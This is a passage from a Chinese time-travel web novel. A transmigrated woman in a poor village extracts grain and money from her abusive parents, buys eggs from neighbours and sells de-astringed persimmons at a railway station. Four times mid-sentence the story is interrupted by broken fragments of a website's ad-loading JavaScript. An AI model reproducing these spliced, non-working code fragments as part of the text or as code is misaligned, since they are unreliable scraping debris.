“你不嫁人,没有孩子,老了咋办?” 李萍老生常谈地问。 林沐瑶把编好的一只麻花辫甩在脑后,回道:“养儿不定能防老,贫贱夫妻百事哀,贫贱家庭也是,我目前只想养好身体,以后的事以后再说。” 李萍语重心长地再次劝,“该好好想想了,女人经不起拖,年纪大了,再想找,可就不好找了。” 林沐瑶手脚麻利地又编好一只麻花辫,再次甩脑后,回道:“等我现在这破身体养好了再说,身体不好,一切都白搭。” 这话李萍赞同,“也是,身体不好,找的人也不好,你以后家里有活,就去家里找我跟你婶子,别张不开嘴,啥也没你身体重要。” 林沐瑶心暖了暖,虽然穿越来接手的是烂摊子,但遇到的人却不错,她声音也柔和了不少,“只要您和婶子不觉得我脸皮厚,烦人就好。” 李萍嗔怪道:“不怕你脸皮厚,就怕你脸皮薄,张不开口。” 以前的林沐瑶很自卑,脸皮也很薄,但自尊心却很强,别提开口请别人帮忙了,就是别人主动开口帮忙,她也会拒绝,怕麻烦别人,也怕别人看不起自己。 而她经历过职场毒打,脸皮早就修炼得比城墙都厚,别人不来帮忙,她都想去主动请人。 牛角岭大队并不大,支书家就住在村子中央,她们很快便到了支书家,她们到的时候,长辈们差不多都到了。 有老林家辈分最高的林富安,老人家也是大队最长寿的人,今年八十七,身体还很康健,现在虽然不去地里干重活了,但也没有闲着。 在家会搓玉米粒,还会去晒场打黄豆,打谷子,闲的时候就用荆条编织箩筐,送到集市上换钱。 她得管这位勤劳的老人叫太爷爷,他比支书还要高一辈分。 再一个辈分高的是大队的会计曾玉明,是牛角岭大队另外一个大姓,他跟支书年纪一般大,但是他却跟林富安一个辈分,另外三个都是跟支书一个辈分的长辈,平常在大队里话语权都很重。 他们看到穿着破衣烂衫,瘦骨伶仃又脸色蜡黄干瘦的脸,眼神怜悯中带着恨铁不成钢。 林富安先开口问:“瑶丫头,想必你也知道,我们找你啥事儿,你说说你咋想的?” 林沐瑶没想到长辈们这么直接,她刚刚进门,连身子都还没有站稳呢,就直截了当地问她话了。 她抿了抿唇,说出了自己的真实想法,“今天支书爷爷送我去大队卫生室看了医生,我现在身体亏空严重,不调养,活不长了,所以我现在顾不得孝敬爹娘了,只想好好活着。” 她又抬眼看了看长辈们的表情,见他们没有任何不满,继续说:“咱们这边的规矩是养儿防老,家里的财产都是儿子的,儿子便负责赡养爹娘,出嫁的闺女不分财产,孝敬娘家爹娘看自家情况,如今我自己吃饭都是问题,身子也不好,再打肿脸充胖子,硬要孝敬爹娘,结果就是我不是饿死,就是累死。” 她叹口气,“我自己死了不要紧,关键是坏了咱们大队的名声,让别人以为咱们牛角岭大队,出嫁闺女跟男方要彩礼不说,娘家财产没闺女的份,却要求出嫁闺女跟儿子一样的孝敬老人,这样一来,谁家敢娶牛角岭大队的闺女?” 她讲道理的语气虽然努力平稳,不让语气有起伏,但还是带上了怨气,她上辈子家里有一哥哥,父母不算重男轻女,对她也很好,供她上了大学,大学期间生活费给的足足的。 但是后来家里倾尽全力全款给老哥买了套房子,而她买房子时候,不过给家里借点儿钱,以便能够首付个好户型。爸妈就不乐意了。 妈妈振振有词,“一个女孩子家买啥房子,迟早要嫁人的,嫁个有房子的男人就成。” 爸爸更是说:“供你上大学,我和你妈也尽了做父母的责任,家里的存款和房子都是你哥的,以后你甭惦记。” 那一刻她的心哇凉哇凉的,要不是死咬着嘴唇,她都能哭出来。 后来老爸生病住院,需要二十万的手术费,却说:“现在是新社会,儿子和闺女一样,手术费你们一起承担,一人拿一半。” 她就问了,“既然儿子和闺女一样,家里的房子和存款是不是也有我的一半?” 然后她就被爸妈大骂不孝,把她赶走了,还到处跟亲戚哭诉她不孝顺,此后只要是家族聚会,她就会被亲戚口诛笔伐。 这一世的爸妈比她爸妈更甚,简直把原主往死里逼,她真不想给极品爹妈养老,但却不能直接说,只能再次构建利益共同体,把牛角岭大队的年轻闺女全部拉上。 招数虽然不新,但管用,林富安把黄铜做的旱烟锅子往桌子上一敲,“砰”的一声后,就是他带着怒气的声音,“我们老林家,甚至牛角岭大队,没有让出嫁闺女给养老的规矩。” “林守德 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和黄翠花必须好好教育,不能让他们这两颗老鼠屎坏了咱们大队的名声。” 曾玉明也紧跟着说。 俩辈分最高的长辈发了话,其他的人也跟着,总之就一个意思,林守德和黄翠花必须好好教育。 “咕噜噜……” 在一片嘈杂中,林沐瑶因饥饿引起的肚鸣在房间里水灵灵地响起。 她尴尬地捂住肚子,低声道:“家里没粮食了,我今天只喝了两碗杂粮粥。” 她抬头看向各位长辈,问:“去找我爸妈说事,能不能跟他们要点粮食和钱?够一个月的粮食和药费就好。” 林富安问:“家里一点粮食都没有?” “只有半袋黄豆和玉米,还有几斤红薯。” 林沐瑶低声回道。 大概映证她的想法似的,肚鸣再次响起,她站立的身体也跟着晃了晃。 再加上瘦骨伶仃又破衣烂衫,难民都比她强。 本来想着让林守德一家不要再苛待林沐瑶就完事的众人,只好答应了林沐瑶的请求,总不能让人饿死吧。 林旺源赶紧叫来李萍,“去给瑶丫头煮俩鸡蛋。” 李萍把手里的碗往前递了递,“已经煮好了。” 林沐瑶也没有客气,道谢后,就着凉白开把俩水煮蛋全吃了,饥饿的胃这才停止了闹腾,然后她便跟着林富安几个长辈去了林守德家。 到了林家,林富安也没有客气,开口见山地说了目的,黄翠花不可置信地反问:“什么,不仅不让死丫头孝敬我们了,还让我们给她钱粮?” 然后她一屁股坐在地上,开始哭嚎:“没天理了,养大了闺女,不仅不孝敬爹娘,爹娘还得倒给她钱,老天爷,咋不劈死那黑心烂肺的死丫头啊!” 林守德也跟着说:“从来没有听说娘家还得养活出嫁的闺女的。” 现在正值秋收,大家伙都很累,不耐烦跟这两口子掰扯,林旺源大声道:“要么给瑶丫头五斤小米,五十斤小麦,再加上十块钱,要么你们以后就滚出林家族谱,老林家不再管你们一家,牛角岭大队也不会管你们一家。” 曾玉明跟着附和,“要么给瑶丫头钱粮,要么以后你们家任何事都甭找大队部。” 黄翠花拍着大腿哭嚎:“没天理了,大队干部帮着死丫头欺负亲爹娘啊!” “闭嘴!” 林旺源大喝一声,“赶紧给钱粮,否则就当你们不要当林家人和牛角岭大队社员了。” 黄翠花被镇住了,她眼神含毒一样地射向林沐瑶,那眼神狠的,像要把她碎尸万段。 林沐瑶故作害怕地往林旺源身后躲了躲,林旺源便看到了黄翠花的眼神,怒瞪了回去,黄翠花剜了眼林沐瑶,这才收回眼神。 林守德则在林旺源的逼迫下,不情不愿地称了粮食,拿了钱。 “不孝女。” 递给林沐瑶的时候,没忍住又开骂了。 但林沐瑶不痛不痒,这些只是利息,以后有他们更痛的时候。 带着钱和粮离开了林家,林沐瑶脚步轻松,她终于有点钱了,虽然很少,但也是一个很好的开始。 走了老远,还能够听到林家黄翠花大声哭嚎的声音,她心情更愉悦了,解决了极品爹妈,该渣男罗森了,她把邮信的事跟支书说了,支书毫不犹豫地答应了。 海城正在跟未婚妻看电影的罗森,突然感觉后背一阵发寒,今天这样好几次了,莫非最近忙,感冒了? 5. 渣前夫罗森 罗森的未婚妻赵碧云,是他工作的百货大楼主任的闺女,比他还大一岁,模样不难看,但也不漂亮,普普通通,而且她还在插队的时候结过婚,但没孩子。 比不上林沐瑶干净,也没她漂亮,更不像林沐瑶那样对他巴心巴肝得好,但她家世好,有文化,还是海城户口,这些能够抵过林沐瑶所有的优点。 赵碧云看到罗森身体抖了抖,便关心地问:“罗森,你怎么了?” 罗森温和地笑了笑,“没事,就是突然感觉有点冷。” 赵碧云娇俏地“哼”了一声,“谁让你不穿厚衣裳的。” 接着就自顾自地看电影,没有再关心罗森,又不是三岁小孩儿,冻一会儿咋了。 罗森内心憋屈,要是林沐瑶在,她肯定会放弃看电影,会马上去帮他买衣裳,但林沐瑶太穷了,扫盲班文化水平,还有极品爹妈,给不了他助力,还会拖他后腿。 他心想如果赵碧云和林沐瑶能够中和中和就好了。 此刻的林沐瑶正坐在炕上数钱,现在的人民币面额小,林守德给的钞票面额都是一块、五毛、一毛、一分等面额的,所以虽然只是十块钱,但钞票数量不少。 来来回回地数了两遍,她叹气,“这钱还是有些少。” 不过她也明白,能够要到十块钱,还有一个月的粮食,已经是那对极品爹妈的极限了,就要这么点钱粮,都跟割他们肉一样,要是再多,那就是要他们的命了。 不过手里这些钱,也够她生活几天了,把身体养好些了,她再瞅瞅有啥搞钱门路,挣到海城的路费,她要亲自去找罗森要钱,替原主报仇,再则去海城考察下市场。 海城是华国经济最发达的城市之一,那里商机遍地,她要找一找适合自己的暴富风口。 但无论怎样,都得需要一个好的身体,既然有钱了,就不能亏待自己,她数了一块钱,起身走去了隔壁李翠娥家。 到李翠娥家的时候,她刚刚伺候家里的男人孩子洗了脚,提着一桶洗脚水出来往自留地的空地上倒,肥水不流外人田,洗脚水也能滋润土地,等忙完了,她还要在这片空地上种上大蒜呢。 刚倒完水走到家门口,就听到林沐瑶喊人,“翠饿嫂子,等一等。” 她停住脚步,好奇地问:“瑶丫头,有事?” 林沐瑶笑着走上前,道:“是呢。” 李翠娥笑着问:“啥事儿?” 林沐瑶知道大家都忙,没有东拉西扯,直接道:“嫂子,家里头有鸡蛋吗?匀我二十个,按照市价算钱。” 李翠饿家里喂着八只母鸡,一只公鸡,暑伏天已过,现在温度适宜,口粮充足,母鸡几乎天天生蛋,一天至少守六个鸡蛋,他们家还真不缺鸡蛋,她还正打算等忙过秋收,就去公社卖鸡蛋呢。 虽然有心卖给林沐瑶鸡蛋,但嘴上却道:“都是自家人,谈啥钱啊。” 林沐瑶可不会把这话当真,笑着道:“嫂子,我知道你疼我,但亲兄弟明算账,你家的鸡蛋也不是白来的,你要是不要钱,我找别人买去。” 李翠娥故作嗔怪地道:“你这孩子让我说啥好。” 然后领着林沐瑶进了家。 进门就听到了猪的哼哼声,原来李翠娥家还养了两头猪,这是一个勤快的家庭。 “翠娥,谁来了?” 堂屋传来林大柱的声音。 李翠娥扬声回道:“是隔壁的瑶丫头。” 然后林大柱就没音了。 林沐瑶也知道天晚了,林大柱和俩孩子指不定已经歇了,便停住脚步,“嫂子,我就不进屋了,在外面等你。” 李翠娥想起屋里只穿了一个大裤衩子的男人,便道:“那你等着,我去拿鸡蛋。” 等她转身的时候,林沐瑶赶紧往她手里递了一块钱,李翠娥故作推托,“不要不要,拿回去!” 林沐瑶不依道:“那我去别处买。” 李翠娥这才收下。 进了房间,林大柱问:“瑶丫头来干啥?” 李翠娥边去拿鸡蛋,边回道:“她要买二十个鸡蛋。” 林大柱从炕上坐起,嘱咐:“瑶丫头不容易,你多给俩鸡蛋,别占她便宜。” 李翠娥横他一眼,“还用你说。” 可实际行动却是选了二十个个头大的鸡蛋后,又挑挑拣拣地选了俩个头小的,不是她小气,鸡蛋金贵,自己家都舍不得吃呢。 但到了外面,林沐瑶却坚持不收多给的鸡蛋,“嫂子,你已经帮我省了去公社的跑腿功夫了,我不能占你便宜。” 李翠娥见她态度坚决,也没有再坚持给,大概觉得不好意思,便道:“我们家的地马上就忙活完了,到时候嫂子去帮你收黄豆。” 林沐瑶笑了笑,“支书爷爷说明天就去帮我收,他们家三四个人,我那点地一会儿功夫就收完了。” 李翠娥双手一拍,“那我就放心了,要不然那么好的黄豆,都喂了野物,多可惜。” 爱惜粮食是刻在华国人基因里的品德,哪怕不是自己的,但看到好好的粮食被糟蹋了,还是会心疼。 林沐瑶也不例外,但想到帮忙的支书一家,她又问:“嫂子,你能再匀我几斤白面吗?支书爷爷一家帮我收粮食,我总得管人家饭吧。” “你等着,我去给你称。” 李翠娥答应得很爽快,林沐瑶为人敞亮,她原意跟她处。 回去称了五斤白面,现在白面一斤一毛二左右,五斤就是6毛钱,她带的钱不够,林沐瑶便道:“嫂子,你等等,我回去拿钱。” 李翠娥却道:“明天再给吧,我又不怕你不还。” 林沐瑶笑了,“好,我明天早上把葫芦瓢和钱一起给你。” 心里则是懊恼自己思虑不周,把买白面的事给忘记了。 等林沐瑶离开,李翠娥望着她的背影叹气,话说她刚嫁过来的时候,林沐瑶还是林五丫,还是一个长得勾人的小姑娘,她还有些敌视她。 可这么些年下来,林沐瑶用行动证明了自己虽然长得勾人,但是为人却端正自持,后来她为了罗森那个小白脸知青跟家里闹掰,又累死累活地供养男人,还得被娘家人吸血,把自己熬成了人干儿,她是有些怜悯她的,这也是如今大队女同志不再敌视她的原因。 回到家,林沐瑶把自己家里的存货看了看后,打算明天早上起来做几个鸡蛋灌饼,给支书家送去,她身无长物,如今也只能做这些了。 计议一定,她就着月亮的光亮,再次淘米熬了一碗小米粥喝了,这才洗漱睡觉,第二天,太阳刚露出一点笑脸,她就起床去厨房和面做鸡蛋灌饼了。 她曾经是连锁餐饮集 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 团的管理层,工作之余,她特地跟后厨的大师傅学厨,不求成为大厨,只求能够满足自己的胃。 鸡蛋灌饼是经常出现在街头的小吃,她也喜欢吃,但怕路边摊不干净,她便自己做,跟厨师学了好久。 虽然没有特制的酱,也没有生菜,但普通的酱也可以,大饼卷一切,卷一点酸黄瓜,味道也不差。 做好了八张鸡蛋灌饼,放进了篮子,先去还了李翠娥六毛钱和葫芦瓢,才提着篮子去了支书家。 她到的时候,支书家正在吃早饭,看到她带来的鸡蛋灌饼,支书黑了脸,“赶紧拿走,我们家不缺你这点东西。” 林沐瑶故作委屈,“支书爷爷,您看不上我送的饼吗?” 支书瞪她一眼,“自己连饭都吃不饱,又是油,又是白面的,不知道的,还以为你是地主老财呢。” 虽然被骂了,但林沐瑶的嘴角却翘了起来,又故作为难道:“支书爷爷,我知道您心疼我,可我做的多,回去吃不完就浪费了。” 支书挨过饿,心疼粮食,便道:“留下三张饼,其他的你带回去。” 林沐瑶知道这是底线了,不敢炸刺,赶紧答应了,李萍过来拿了三张饼,也不忘念叨,“你好好过日子,把身体养好了,你支书爷爷才会高兴。” 林沐瑶狂点头,“嗯嗯,我会好好养身体的。” 接着把饼的吃法告诉了她。 李萍咋舌,“这吃法新鲜,一会儿试试。” 等她离开,支书的儿媳妇王春花拿起一张饼,按照林沐瑶教的办法,抹了黄豆酱,卷了酸黄瓜,给了公公,支书咬了一口就惊艳了,外酥里嫩,饼皮酥香、鸡蛋嫩滑,再加上酸脆的黄瓜,黄豆酱的香味,口感丰富,他又看了看刚咬过的地方,惊讶道:“里面竟然真有鸡蛋。” 李萍赶紧把手里的饼掰开,饼的中间还真有鸡蛋,支书哼道:“穷大方!” 心疼归心疼,但心里头却很受用,这孩子总算懂事了。 “也不知道,咋把鸡蛋弄饼里头的,瑶丫头的手真巧。” 李萍夸赞道。 王春花紧跟着道:“瑶丫头,性子变爽利了。” 他们家人口多,分的地也多,本来收了自己家粮食后,就累得很,公公却要给林沐瑶家收,她心里头怨气颇大,这会儿拿着鸡蛋灌饼,心头的怨气少了不少。 林沐瑶提着篮子回家,看到俩小孩儿提着荆条筐,荆条筐里放着黄橙橙的柿子。 她眼睛一亮,忙问:“大毛,你们的柿子是从哪里摘的的?” 大毛是张娟红的孩子,今年五岁,性子淘气得很,他脏兮兮的小脸朝着她做了一个鬼脸,“偏不告诉你。” 林沐瑶眼珠子一转,道:“你不说我也知道,就是你告诉我,我也不想听了。” 大毛受不得激将,赶紧大声道:“我偏告诉你,我从南山上的树林子捡的,那里有好多呢。” 林沐瑶坏心眼地“哦”了一声,“原来是在南山树林子捡的啊,谢谢你告诉我。” 大毛察觉到自己上当了,气地小黑脸通红,骂了句,“坏人。” 骂得不解气,便坏心眼地吓唬人,“柿子是涩的,能涩断人的肠子。” 可林沐瑶不怒反笑,因为她知道怎么搞钱了,回家的脚步轻快,嘴里还哼着小曲儿。 6. 进城 从原主的记忆里得知,这里的柿子还是涩柿子,并不是后世市场随处可见的脆甜柿子,想吃到脆甜的柿子,就得想办法把涩柿子的涩味去掉。 涩柿子去涩味的办法不是秘密,北方人基本上都会。 而牛角岭大队的柿子树大都是无主的,现在物资匮乏,农村孩子零食少,秋天的柿子就是他们甜嘴的美食,每到这时候,孩子们便提着荆条筐漫山遍野地找柿子。 回到家后,要不自己晒柿子,等柿子自己成熟,要不就交给家里大人把柿子去涩味,这之后便是或软甜,或脆甜的柿子,是人们在秋季劳作之余,不可多得的美食。 农村人不缺柿子吃,但不代表城里人缺,而这就是她搞钱的机会。 不过等她走回家里,洗了手,盛了碗粥,刚坐到小墩子上,一阵阵疲惫感就汹涌地袭来,她苦笑一声,“怪不得我说身体是革命的本钱呢。” 身体不允许,她也不会勉强自己,小命最重要。 她忍着疲惫,喝了一碗加了盐的小米黄豆粥,还吃了三分之一的鸡蛋灌饼,鸡蛋灌饼什么也没卷,就那样吃,她这里除了盐,啥都没有。 吃完把锅碗洗了,便晃悠着回房间躺着,虽然土炕依然很脏,但睡过一晚后,她也免疫了,和衣直接躺下,眼睛一闭,便睡了过去。 她是被饿醒的,她睁开发黏的眼皮子,迷糊了半秒钟,然后起身,准备去厨房做吃的。 “嗯~” 只是刚站起地上,眼前一黑,脚步踉跄了一下,她呻|吟一声,赶紧伸手扶住了炕沿,大概过了两秒钟,她才缓过神来。 “看来得去看医生了。” 她自言自语地喃喃道。 到了厨房手脚麻利地做了鸡蛋疙瘩汤,就着鸡蛋灌饼吃了,便起身去大队卫生室看医生,拿了药,又被医生嘱咐:“多静养,少劳累。” 林沐瑶内心苦笑,一贫如洗的自己,哪里有资格休息,但面上却很乖巧,“我会注意的。” 从卫生室回到家里,她先是找了一个陶罐把药熬上,趁着熬药的功夫,她又开始想搞钱的事儿。 卖脆甜柿子并不是长久之道,得钱也有限,这钱只能算启动资金。 从极品爹妈那里抠的十块钱,买了一块六毛钱的吃食,又买了一块钱的草药,剩下7块4毛钱,这些钱她准备留下五块钱,应对生活中的突发情况和买药,那么她能够支配的只有2块4毛钱。 她喃喃道:“钱真不经花啊。” 卖柿子还能卖上几天,保守估计也能挣个十来块钱,那这些钱就是她的启动资金,但太少了。 她摸了摸自己干枯的头发,麻花辫正好到后背正中央,卖钱也能够卖个十来块,就算卖五块好了,那么她的本钱就是十五块钱左右,但这也不多啊。 所以她只能做本儿小的生意,她又数了数自己会的技能,她会说英语,但原主一个扫盲班文化程度,突然间会说英语了,也太奇怪了。 这个不成,再就是她会电脑,整个安平县都找不到几台电脑,她上去说自己会,不是被人当傻子,就是被当作间谍。 其他的技能,如管理和化妆,这些目前都行不通。 最后就是她厨艺还成,做小吃摊投入小,好回本,倒是可以,那么做什么呢? 想来想去没想好,等回头去城里卖柿子的时候,她再考察考察市场。 “咕嘟,咕嘟~” 灶上的陶罐药开始散发药味儿,她把柴火抽出来两根,又继续熬了一会儿,这才把药盛出来喝。 药并虽不苦,但味道也不好,因为烫,她只能小口小口地抿,喝药的过程漫长而煎熬,她喝得小脸儿皱巴巴,喝完药,她又回房间歇着。 这一觉睡到了大半夜,她是被肚子饿醒的,等起来,点上油灯,热了热鸡蛋灌饼,又做了一碗稀饭,吃了洗漱后又继续睡觉。 第二天起床后,她突然感觉身体比昨天轻松了,大概是她休息加喝药的缘故,她没歇着,找了荆条筐,便去南山树林子摘柿子,几乎没存款,身体又不好,不能不挣钱。 刚出门,就碰到了李翠娥,她笑着问:“瑶丫头,你背着筐子要去哪儿啊?” 林沐瑶笑着道:“家里啥吃的都没有,想去山上看看。” 李翠娥面露同情,很快她小碎步跑过来,小声说:“你大概不知道把,你妈和你嫂子昨天下午在地里打起来了,你猜为啥?” 林沐瑶抿唇,“八成是为了给我钱和粮事。” “可不就是。” 李翠娥一拍大腿,“俩人打得可厉害了,你嫂子把你妈的头发薅掉一撮,你妈挠花了你嫂子的脸。” 林沐瑶心里冷笑,狗咬狗一嘴毛,她那个嫂子也不是好东西,经常补贴娘家,还把老林家的东西全看成她自个儿的,她拿了钱粮,可就触犯了她的切身利益了。 但面上她却不能这么说,她道:“也就是我弟还没有娶媳妇,我嫂子才敢这么横。” 因为没钱给高彩礼,林家名声又不好,所以林守德一直没能给小儿子娶到媳妇儿,这也是极品爹妈恨她的原因之一。 说了会儿话,她捡着人少的小路去了南山树林,这个树林子也不知道什么时候形成的,反正从原主小时候起,就是社员们柴火的来源地。 这片树林子不仅提供柴火,树林里还有苹果树,梨树,山楂树以及柿子树等果树,说一句是社员们的宝库也差不多。 她背着筐子,在树林子穿梭,大概走了两分钟时间,才找到了两棵柿子树。 树上低处的果子早就被摘完了,只剩下了高处的果子,这可难不倒她,她把筐子背好,便开始手脚并用地爬树。 爬到了树上,她麻利地开始摘柿子,红通通的柿子,被她一个接一个地放筐子里,看着框子里的果实增加,成就感满满。 但身体毕竟虚弱,摘了一小会儿,便开始气喘吁吁,她腾出一只手,道:“下次带上摘果神器。” 她现在不能负重,摘了半筐,便准备回家,打算休息一会儿再来,不过再次过来,她就带上了摘果神器,是原主用过的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,记忆中原主水果丰收时候,都会摘了果子去卖,倒是便宜她了。 有了摘果神器,她不用爬树,站在地上就能摘果子,十分方便,不大会儿,就摘了半筐,送回家休息了会儿,便又出发去摘,但摘够两筐,她就不摘了,她身子弱,干活不能太累了。 幸运的是,她摘柿子的时候,竟然没有遇到一个人。 她瞅着家里两筐黄澄澄的柿子,眼睛冒光,恨不得它们马上变成金柿子。 扭身去拿了家里所有能够装水的大家伙什,把柿子先洗了一遍,然后又起锅烧水,把水烧开后,跟凉水1:1混合后,把水倒进家伙什里淹没柿子后,拿盖子盖住,放在温暖的地方,浸泡个一天一夜,就能够获得脆甜的柿子了。 做完这一切,她浑身已然被汗水湿透了,这具身体实在太虚弱了。 但就这她也不能彻底休息,柿子在树上,又是没主的,她不摘,别人就摘了,就算别人不摘,柿子在树上也会变软,软了不是不好,但不方便运输,她打算明天继续摘。 “砰砰砰!” 敲门声响起,她赶紧去开门,是支书来了。 她忙招呼人进屋,支书却摆了摆手,“我来就是告诉你一声,黄豆和玉米都帮你收了,运到晒场了,等把黄豆打好,玉米棒子晒干了,就给你运回来。” 林沐瑶赶紧道谢:“谢谢支书爷爷。” 支书黑脸,“瞎客气。” 然后又道:“你赶紧进屋歇着吧。” 说完就走了,林沐瑶望着他走远的背影心暖暖的,虽然接手的摊子烂,但遇到的人还不错。 今日份工作完毕,吃了东西,喝了药,又把家里的卫生搞了搞,继续吃饭喝药,然后就是睡觉。 第二天继续摘柿子,还是去南山树林,她选的是孩子们上学时间去的,大人又忙秋收,这次又没有遇到人。 晚上她捞了一个先前处理好的柿子尝了尝,脆如青枣,甜如蜜糖,让刚刚喝了药的她幸福地眯上了眼睛,肯定能卖钱。 晚上她找了一身补丁最少的衣裳,又早早地吃过饭睡觉,明天她要进城卖柿子。 “喔喔喔……” 大公鸡的打鸣声非常有穿透力,她被叫醒了。 起身穿上衣服,打清水洗了脸,又去厨房找了食用油,往脸上抹了点,防止皮肤被吹皲裂,这才把脆甜柿子装筐,背着向村边走去,她要去做公交车。 掏了三毛钱车费,找了个座位坐下,农忙时期进城人少,坐车人更少,所以她有座位坐。 因为人少,售票员便跟公交车司机聊起了天,“听说咱们安平县的大财主杨家后人,要从漂亮国回来了,说要给咱们这投资建厂,你说他们家该多有钱?” 司机眼睛紧盯着前方道路,嘴上回着话,“我不管杨家多有钱,我只清楚咱们县要建厂,就得招工人,我家二闺女从农村回城后,还没有工作呢,不知道厂子对工人有啥要求?” 安平县要建厂了,林沐瑶赶紧竖起了耳朵,想听听有没有适合她的商机? 7. 男主 说起安平县老财主杨家,在清朝老佛爷时期发达,老祖宗曾经是两江总督,是清朝九位最高级的封疆大臣之一。 后来辛亥革命爆发,杨家老祖宗拒绝新政府任职的邀请,回到家乡做起了实业,安平县甚至省城现在的纺织厂前身就是杨家老祖宗办的,后来又陆陆续续地办了糖厂,火柴厂等工厂。 另外他还兴办学校,振兴国家教育,安平县实验小学和一高前身,也杨家老祖宗兴办的洋学堂。 杨家老祖宗后来去了之后,他的后人继承他的遗志,成立了肥皂厂、药厂等,产业遍及全国,富裕程度在全国排名靠前。 只是战争时期,杨家人因为资助红党,被白党迫害,最终选择了移民国外。 “你说杨家后人回来,会不会要回杨家大院?那里面可是住了好几户人家,就是杨家巷的街道办事处,都在杨家大院呢。” 说完了大财主杨家牛逼哄哄的历史,售票员又八卦起了其他事。 爱热闹是人的天性,林沐瑶也不例外,她竖着耳朵,认真吃瓜。 司机却道:“那肯定的啊,俗话说叶落归根,杨家大院是老杨家的祖宅,除非要当不肖子孙,否则无论如何都要收回来,要不然没脸见祖宗。” 林沐瑶在后面点了点头,华国人对于祖宗的尊敬堪比神明,司机这话在理,不过可能不好要,杨家大院里面住户多,腾挪起来可是大工程。 她的疑惑也是售票员的疑惑,司机却笑了,“只要杨家人肯给钱,都不是事儿。” 好吧,贫穷限制了她的想象,她忘记了这世界上还有一种钞能力。 售票员也深以为然,接着话题又重回建厂上,问:“也不知道杨家准备建什么厂?” 司机摇了摇头,“我也不清楚。” 路不平,车子跟着一晃一晃的,林沐瑶被颠地不舒服,胃里开始翻江倒海,再也没有心思吃瓜了。 她掐住自己的虎口,努力压制着那股子恶心,在煎熬中,公交车终于开到了安平县车站,她松了口气,赶紧背起荆条筐起身下车。 下了车,她就找了一个树坑开始呕吐,把今天早上吃的鸡蛋也给呕了出来,贫穷的她流出了心疼的泪水,一个五分钱呢。 吐过之后,她拿起随身带的罐头瓶,肉疼地用里面的糖水漱口,这是她昨天刚从代销点儿买的白糖,今儿她来的时候怕低血糖,特地装的糖水。 漱过口后,她心疼地把罐头瓶又放回挎包里,背起柿子往外走,本来身体就不好,又刚吐过,她走路的脚步便开始打飘,人也跟着晕乎乎的。 “吱嘎!” 一道汽车的刹车声响起,她才发现她差点撞车,而她不知何时已经走到了马路中央。 这是她的责任,她赶紧扭身向着小轿车鞠躬表示歉意,“对不起!” 等她再直起身来,身前就站了一个西装革履的年轻男同志,二十来岁左右,一身黑色得体的西装,就算带着无框眼镜,也难以掩饰他眼睛里的精明,一副精英派头,不像现在安平县城的人。 “小姐,你没事吧?” 他温和地开口问。 小姐?这可不是安平县人的称呼,甚至不是内地人的称呼,但目前这跟她没关系。 她赶紧摇了摇头,“没事。” 然后再次道歉,“对不起,我刚才想事情,挡你们的路了。” 精英男却温和地笑了笑,“我们也有错,这是我们的补偿,小姐压压惊。” 林沐瑶打眼一瞅,那可是两张大团结,一个学徒工一个月的工资,贫穷的她手在蠢蠢欲动,但理智告诉她,这事主要责任在她,这钱她不能收。 小女子爱财,取之有道! 最后她狠心地别开眼睛,道:“我不能收。” 精英男却不由分说,把钱塞她荆条筐里,“这是你该得的。” 林沐瑶赶紧放下荆条筐去找钱,这边精英男早就回到了车里,发动了车子,从她身边开过,她赶紧挥手喊人,不期然跟车子后座的男人四目相对。 精致立体的五官,挺直的鼻梁,削薄的红唇、茶黑色的眼眸淡漠地从她身上略过,眨眼间车子载着人飞驰而去。 她喃喃自语:“这男人气场好强大。” 而远去的车里,精英男握着方向盘,边开车边问:“杨总,您为什么非要回华国小县城?这里经济这么落后,像刚才的那位小姐比漂亮国的乞丐还可怜,身体干瘦,衣服上全是补丁。” 久久等不到杨总回话,精英男还以为他不会回话了呢,车里却响起一道低沉的声音,“这里是杨家的根。” 当初杨家不得已移民漂亮国,但漂亮国排外,哪怕杨家每年都会上交大笔的税款,依然是二等公民。 现在华国和漂亮国没啥大冲突还好,一有冲突,他们这些人就得被祭旗,他们是龙的传人,自然要回国为祖国经济建设做贡献。 而林沐瑶这边却瞅着两张大团结,喃喃自语:“不认识那俩人,这钱咋还啊。” 接着她一咬牙,一跺脚,“这钱就当是借的,山水总有相逢时,到时候连本带利地还了就是。” 碎银解千愁,进账20块,她头不晕了,腿不酸了,背起荆条筐,迈起大步,向着火车站走去,那里人流多,货出得快。 安平县处在国家运输大动脉京广线上,因此安平县火车站非常热闹,周围有几个县城的人都过来这边坐火车,上车的,下车的,还有车上其他地方的旅客,人流量非常大。 她过去的时候,正巧一列火车到站停靠,车上的旅客到站的下车,涌出出站口,她看到人群,赶紧放下荆条筐,大声喊:“又脆又甜的柿子,不甜不要钱!” “又脆又甜的柿子,吃了还想吃!” 她曾经在下班时间摆过地摊,吆喝起来,一点也不难为情。 虽然她已经极力吆喝了,但火车站人声鼎沸,各种小摊贩的吆喝声此起彼伏,她的声音就这么被淹没了。 她一瞅不是办法啊,于是赶紧从荆条筐里拿出一个柿子,用自带的竹刀切成了一块一块的,放在带来的油纸上,开始去揽客,“同志,尝尝这脆甜柿子,又脆又甜,不甜不要钱。” 被热情推销的圆脸中年女同志有些无措,她刚从京城出差回来,又饿又累还渴,在火车上怕上厕所,她都不敢喝水的。 本来想着下车后回家吃饭喝水,但看到林沐瑶手里红通通的柿子,就有些走不动道了,林沐瑶见有门儿,赶紧道:“尝尝又不要钱,您尝尝,好吃再买,不符合您胃口,咱们就当结个善缘。” 女同志咽了咽口水,问:“免费尝?” 林沐瑶微笑道:“不要钱。” 女同志这才捡了一小块 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柿子吃,脆生生,甜滋滋,抚慰了她旅途的劳累,拇指肚大的怎么够,她想吃一斤。 “柿子咋卖?” 她声音稍微带点急切地问。 林沐瑶脱口而出,“五毛钱。” 其实也有小贩去农村收柿子,收购价一般三毛左右,但那是涩柿子的价格,她把柿子去了涩味,又背来了城里,总要挣点辛苦费吧。 中年女同志不满意了,“苹果才五毛钱一斤,你这柿子咋跟苹果比?” 